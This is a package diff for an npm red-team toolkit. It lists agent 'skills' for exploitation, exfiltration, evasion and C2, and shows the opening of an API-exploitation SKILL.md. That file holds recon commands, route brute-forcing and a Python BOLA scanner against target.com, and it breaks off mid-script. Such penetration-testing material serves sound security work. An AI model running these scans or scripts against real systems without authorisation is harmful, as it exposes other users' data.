rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,1547 @@
1
+ ---
2
+ name: rt-exploit-api
3
+ description: "API security testing skill covering REST APIs and GraphQL. REST: BOLA/IDOR, mass assignment, rate limit bypass, HTTP method confusion, CORS misconfiguration. GraphQL: introspection abuse, batching attacks, field suggestions for schema recovery without introspection, query depth DoS. Tools: graphw00f, clairvoyance, Burp Suite."
4
+ ---
5
+
6
+ # rt-exploit-api — API Security Testing Skill
7
+
8
+ ## 1. Overview
9
+
10
+ Modern applications expose vast attack surfaces through REST and GraphQL APIs. Unlike traditional web vulnerabilities, API flaws often bypass WAFs and application-level controls because they abuse legitimate business logic rather than injecting malicious payloads.
11
+
12
+ This skill covers two primary API paradigms:
13
+
14
+ **REST APIs** — stateless HTTP endpoints that operate on resources. Attack surface includes broken object-level authorization (BOLA/IDOR), mass assignment, rate limit bypass, HTTP method confusion, and CORS misconfiguration.
15
+
16
+ **GraphQL APIs** — query language over a single endpoint. Attack surface includes introspection abuse, batching attacks (rate limit bypass), field suggestion exploitation for schema recovery, query depth/complexity DoS, and alias flooding.
17
+
18
+ ### Threat Model
19
+
20
+ | Attack Class | REST | GraphQL | OWASP API Top 10 |
21
+ |---|---|---|---|
22
+ | BOLA/IDOR | Yes | Yes | API1:2023 |
23
+ | Mass Assignment | Yes | Partial | API6:2023 |
24
+ | Rate Limit Bypass | Yes | Yes (batching) | API4:2023 |
25
+ | Schema Exposure | N/A | Yes | API8:2023 |
26
+ | Resource Exhaustion | Yes | Yes (depth DoS) | API4:2023 |
27
+ | CORS Misconfiguration | Yes | Yes | API7:2023 |
28
+
29
+ ### Prerequisites
30
+
31
+ ```bash
32
+ # Install core tools
33
+ pip install graphw00f clairvoyance requests
34
+ npm install -g @escape.tech/graphql-armor-cli
35
+ apt-get install -y ffuf feroxbuster nuclei
36
+
37
+ # Clone useful wordlists
38
+ git clone https://github.com/danielmiessler/SecLists /opt/SecLists
39
+ git clone https://github.com/assetnote/kiterunner /opt/kiterunner
40
+
41
+ # Python dependencies for custom scripts
42
+ pip install gql requests httpx aiohttp tqdm colorama
43
+ ```
44
+
45
+ ---
46
+
47
+ ## 2. Skill Levels
48
+
49
+ ### BEGINNER
50
+
51
+ Goals: Enumerate endpoints, test basic BOLA with sequential IDs, check introspection, identify obvious misconfigurations.
52
+
53
+ **Tools:** curl, Burp Suite Community, ffuf
54
+
55
+ **Expected duration:** 1–2 hours per target
56
+
57
+ **Key techniques:**
58
+ - Manual endpoint enumeration
59
+ - Sequential ID BOLA testing
60
+ - Basic introspection query
61
+ - Default credential testing
62
+
63
+ ### INTERMEDIATE
64
+
65
+ Goals: Automated BOLA across all endpoints, mass assignment probing, CORS testing, GraphQL schema recovery.
66
+
67
+ **Tools:** ffuf, nuclei, kiterunner, graphw00f, clairvoyance, custom Python scripts
68
+
69
+ **Expected duration:** 2–4 hours per target
70
+
71
+ **Key techniques:**
72
+ - Kiterunner API route brute-force
73
+ - Mass assignment via parameter pollution
74
+ - Clairvoyance field suggestion harvesting
75
+ - Rate limit fingerprinting
76
+
77
+ ### ADVANCED
78
+
79
+ Goals: Business logic BOLA (non-sequential IDs), batching attacks for rate limit bypass, WAF bypass, chained vulnerabilities.
80
+
81
+ **Tools:** All intermediate tools + Burp Suite Pro, turbo intruder, custom GraphQL clients
82
+
83
+ **Expected duration:** 4–8 hours per target
84
+
85
+ **Key techniques:**
86
+ - UUID/GUID BOLA via reference leakage
87
+ - GraphQL alias batching for rate limit bypass
88
+ - HTTP method override for access control bypass
89
+ - JWT algorithm confusion to escalate privileges
90
+
91
+ ### EXPERT
92
+
93
+ Goals: Zero-day logic flaws, novel GraphQL attack patterns, supply chain API abuse, automated exploitation pipelines.
94
+
95
+ **Tools:** Full custom toolchain, proprietary wordlists, AST-level GraphQL analysis
96
+
97
+ **Expected duration:** Days per target
98
+
99
+ **Key techniques:**
100
+ - Custom SDL reconstruction from field suggestions
101
+ - Batching + BOLA chaining for account takeover
102
+ - Subscription abuse for persistent data exfiltration
103
+ - Federation/gateway bypass attacks
104
+
105
+ ---
106
+
107
+ ## 3. Step-by-Step Attack Workflow
108
+
109
+ ### Phase 1: Reconnaissance and Discovery
110
+
111
+ #### Step 1.1 — Identify API type and version
112
+
113
+ ```bash
114
+ # Fingerprint the API framework
115
+ curl -si https://target.com/api/v1/ | grep -i "x-powered-by\|server\|x-api-version"
116
+
117
+ # Common API discovery paths
118
+ for path in /api /api/v1 /api/v2 /v1 /v2 /graphql /gql /query /playground; do
119
+ curl -so /dev/null -w "%{http_code} $path\n" https://target.com$path
120
+ done
121
+
122
+ # Check OpenAPI/Swagger documentation exposure
123
+ curl -si https://target.com/swagger.json
124
+ curl -si https://target.com/openapi.json
125
+ curl -si https://target.com/api/swagger
126
+ curl -si https://target.com/api-docs
127
+ curl -si https://target.com/docs/api
128
+ curl -si https://target.com/.well-known/openapi
129
+
130
+ # Check for API versioning patterns
131
+ curl -si https://target.com/api/v3/users
132
+ curl -si https://target.com/api/v3/users -H "API-Version: 2"
133
+ curl -si https://target.com/api/v3/users -H "Accept: application/vnd.api+json;version=2"
134
+ ```
135
+
136
+ #### Step 1.2 — Route discovery with Kiterunner
137
+
138
+ ```bash
139
+ # Download compiled kiterunner
140
+ wget https://github.com/assetnote/kiterunner/releases/download/v1.0.2/kr-1.0.2-linux-amd64.tar.gz
141
+ tar xf kr-1.0.2-linux-amd64.tar.gz
142
+
143
+ # Scan with built-in wordlists (fastest)
144
+ ./kr scan https://target.com/api -w routes-large.kite -x 20 --fail-status-codes 404,429 -o kr-results.txt
145
+
146
+ # Scan with SecLists
147
+ ./kr brute https://target.com/api -w /opt/SecLists/Discovery/Web-Content/api/api-endpoints.txt \
148
+ -x 20 --fail-status-codes 404 -H "Authorization: Bearer YOUR_JWT"
149
+
150
+ # Replay interesting findings with full headers
151
+ ./kr kb replay -w routes-large.kite "GET 200 [ 1234ms] https://target.com/api/v2/admin/users 0"
152
+ ```
153
+
154
+ #### Step 1.3 — ffuf endpoint discovery
155
+
156
+ ```bash
157
+ # Horizontal discovery — find new resource types
158
+ ffuf -u https://target.com/api/v1/FUZZ \
159
+ -w /opt/SecLists/Discovery/Web-Content/api/api-endpoints.txt \
160
+ -H "Authorization: Bearer YOUR_JWT" \
161
+ -mc 200,201,204,400,403 \
162
+ -o ffuf-endpoints.json -of json \
163
+ -t 50 -rate 100
164
+
165
+ # Vertical discovery — find sub-resources
166
+ ffuf -u https://target.com/api/v1/users/1/FUZZ \
167
+ -w /opt/SecLists/Discovery/Web-Content/api/api-endpoints.txt \
168
+ -H "Authorization: Bearer YOUR_JWT" \
169
+ -mc 200,201,204,400,403 \
170
+ -t 20
171
+
172
+ # ID fuzzing — numeric BOLA discovery
173
+ ffuf -u https://target.com/api/v1/users/FUZZ \
174
+ -w <(seq 1 1000 | tr '\n' '\n') \
175
+ -H "Authorization: Bearer VICTIM_JWT" \
176
+ -mc 200 -t 10
177
+ ```
178
+
179
+ #### Step 1.4 — GraphQL detection with graphw00f
180
+
181
+ ```bash
182
+ # Install graphw00f
183
+ pip install graphw00f
184
+
185
+ # Detect GraphQL engine and version
186
+ graphw00f -d -t https://target.com/graphql
187
+ graphw00f -d -t https://target.com/api/graphql
188
+ graphw00f -d -t https://target.com/gql
189
+
190
+ # Fingerprint — critical for tailoring DoS payloads and bypass techniques
191
+ # graphw00f identifies: Apollo, Hasura, GraphQL-Go, Strawberry, Ariadne, etc.
192
+ # Output example:
193
+ # [*] Checking https://target.com/graphql
194
+ # [!] Found GraphQL at https://target.com/graphql
195
+ # [*] Fingerprinting...
196
+ # [+] GraphQL Engine: Apollo Server (2.x)
197
+ # [*] Malicious query complexity supported: True
198
+ # [*] Introspection: Enabled
199
+ ```
200
+
201
+ ---
202
+
203
+ ### Phase 2: REST API — BOLA / IDOR
204
+
205
+ #### Step 2.1 — Sequential ID BOLA (BEGINNER)
206
+
207
+ ```bash
208
+ # Capture your own resource ID as user A
209
+ # Login as user A, note your user ID (e.g., 42)
210
+ # Login as user B, attempt to access user A's resources
211
+
212
+ USER_A_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
213
+ USER_B_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
214
+ USER_A_ID=42
215
+
216
+ # Test direct object reference
217
+ curl -s https://target.com/api/v1/users/$USER_A_ID \
218
+ -H "Authorization: Bearer $USER_B_TOKEN" | jq .
219
+
220
+ # Test nested resources
221
+ curl -s https://target.com/api/v1/users/$USER_A_ID/profile \
222
+ -H "Authorization: Bearer $USER_B_TOKEN" | jq .
223
+ curl -s https://target.com/api/v1/users/$USER_A_ID/orders \
224
+ -H "Authorization: Bearer $USER_B_TOKEN" | jq .
225
+ curl -s https://target.com/api/v1/users/$USER_A_ID/invoices \
226
+ -H "Authorization: Bearer $USER_B_TOKEN" | jq .
227
+ curl -s https://target.com/api/v1/users/$USER_A_ID/payment-methods \
228
+ -H "Authorization: Bearer $USER_B_TOKEN" | jq .
229
+ ```
230
+
231
+ #### Step 2.2 — Automated BOLA scan across multiple IDs (INTERMEDIATE)
232
+
233
+ ```python
234
+ #!/usr/bin/env python3
235
+ # bola_scanner.py — automated BOLA across integer ID ranges
236
+
237
+ import requests
238
+ import json
239
+ from concurrent.futures import ThreadPoolExecutor
240
+ from tqdm import tqdm
241
+
242
+ TARGET_BASE = "https://target.com/api/v1"
243
+ ATTACKER_TOKEN = "Bearer YOUR_JWT_HERE"
244
+ ENDPOINTS = [
245
+ "/users/{id}",
246
+ "/users/{id}/profile",
247
+ "/users/{id}/orders",
248
+ "/users/{id}/invoices",
249
+ "/orders/{id}",
250
+ "/invoices/{id}",
251
+ "/documents/{id}",
252
+ "/payments/{id}",
253
+ "/reports/{id}",
254
+ ]
255
+ ID_RANGE = range(1, 2000)
256
+ HEADERS = {"Authorization": ATTACKER_TOKEN, "Content-Type": "application/json"}
257
+
258
+ def test_id(args):
259
+ endpoint_template, obj_id = args
260
+ url = TARGET_BASE + endpoint_template.format(id=obj_id)
261
+ try:
262
+ r = requests.get(url, headers=HEADERS, timeout=10, allow_redirects=False)
263
+ if r.status_code == 200:
264
+ return {"url": url, "id": obj_id, "status": r.status_code, "body_len": len(r.text), "snippet": r.text[:200]}
265
+ except Exception:
266
+ pass
267
+ return None
268
+
269
+ findings = []
270
+ tasks = [(ep, i) for ep in ENDPOINTS for i in ID_RANGE]
271
+
272
+ with ThreadPoolExecutor(max_workers=20) as pool:
273
+ for result in tqdm(pool.map(test_id, tasks), total=len(tasks)):
274
+ if result:
275
+ findings.append(result)
276
+ print(f"[BOLA] {result['url']} -> {result['status']} ({result['body_len']} bytes)")
277
+
278
+ with open("bola_findings.json", "w") as f:
279
+ json.dump(findings, f, indent=2)
280
+
281
+ print(f"\n[+] {len(findings)} BOLA candidates found. Results saved to bola_findings.json")
282
+ ```
283
+
284
+ ```bash
285
+ python3 bola_scanner.py
286
+ ```
287
+
288
+ #### Step 2.3 — UUID/GUID BOLA via reference leakage (ADVANCED)
289
+
290
+ UUIDs are not security controls. Harvest them from API responses, then test cross-user access.
291
+
292
+ ```python
293
+ #!/usr/bin/env python3
294
+ # uuid_harvester.py — extract UUIDs from API responses and test BOLA
295
+
296
+ import re
297
+ import requests
298
+ import json
299
+
300
+ UUID_PATTERN = re.compile(r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}', re.I)
301
+
302
+ USER_A_TOKEN = "Bearer USER_A_JWT"
303
+ USER_B_TOKEN = "Bearer USER_B_JWT"
304
+ BASE = "https://target.com/api/v1"
305
+
306
+ # Step 1: Harvest UUIDs from User A's accessible endpoints as User A
307
+ harvested_uuids = set()
308
